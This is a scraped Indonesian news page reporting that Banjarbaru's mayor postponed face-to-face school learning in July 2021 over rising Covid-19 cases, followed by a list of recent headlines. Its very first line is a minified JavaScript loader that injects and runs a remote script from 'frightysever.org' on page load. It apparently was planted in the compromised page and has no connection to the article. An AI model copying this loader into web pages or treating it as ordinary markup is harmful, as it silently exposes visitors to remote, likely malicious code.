(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

RESMI. Wali Kota Banjarbaru Tunda Pembelajaran Tatap Muka


KANALKALIMANTAN.COM, BANJARBARU -Wali Kota Banjarbaru Aditya Mufti Ariffin memutuskan untuk menunda Pembelajaran Tatap Muka (PTM) bagi seluruh jenjang pendidikan sampai batas waktu yang belum ditentukan. Putusan diambil Pemko Banjarbaru guna mencegah penularan Covid-19 yang kini melonjak di Kota Banjarbaru.

“Kami memutuskan menunda PTM seluruh sekolah di Banjarbaru sesuai pernyataan Penjabat Gubernur Kalsel yang belum membolehkan sekolah di Kalsel melaksanakan PTM,” ujar Wali Kota Banjarbaru, Jumat (9/7/2021).

Dalam hal ini, Wali Kota juga mengatakan sebagai tindak lanjut dari keputusan itu akan diterbitkan Surat Edaran (SE) Wali Kota yang akan menjadi dasar hukum bagi setiap sekolah untuk tidak melaksanakan pembelajaran tatap muka.

Baca juga: BNN Banjarbaru Gelar Senam Sehat Pasca Peringatan HANI 2021

 

 

Sebelumnya direncanakan PTM akan dimulai tanggal 12 Juli 2021, akan tetapi setelah adanya pernyataan Pj Gubernur Kalsel karena melihat tingginya penularan Covid-19 sehingga belajar di sekolah ditunda.

“Kami memahami keputusan yang diambil Pj Gubernur Kalsel dan juga tidak ingin jika PTM dilaksanakan malah menjadi biang meningkatnya penyebaran Covid-19 di Banjarbaru,” ucap Wali Kota.

Dikatakan, sebelum memutuskan PTM tanggal 12 Juli 2021, pihaknya sudah menerima informasi dari Ikatan Guru, PGRI, Ikatan Doktek Anak juga BPBD dan Dinkes Banjarbaru terkait kesiapan sekolah melaksanakan PTM.

Baca juga: Operasi Gabungan Sisir Titik-titik Kerumunan di Martapura

Diketahui, melalui berbagai masukan dan pertimbangan, sejumlah sekolah bersedia melaksanakan PTM, terdiri dari 83 lembaga Pendidikan Anak Usia Dini, 32 sekolah dasar dan 23 SMP yang tersebar di Banjarbaru.

“Kesiapan sekolah itu ditindaklanjuti pembentukan tim dari Dinkes dan BPBD untuk memantau kesiapan, tetapi, ternyata diputuskan penundaan PTM sehingga kami mematuhi aturan Pj Gubernur itu,” jelasnya. (kanalkalimantan.com/dewi)

Reporter : dewi
Editor : bie


Al Ghifari

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

6 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

6 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

6 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

7 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

7 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

7 jam ago

This website uses cookies.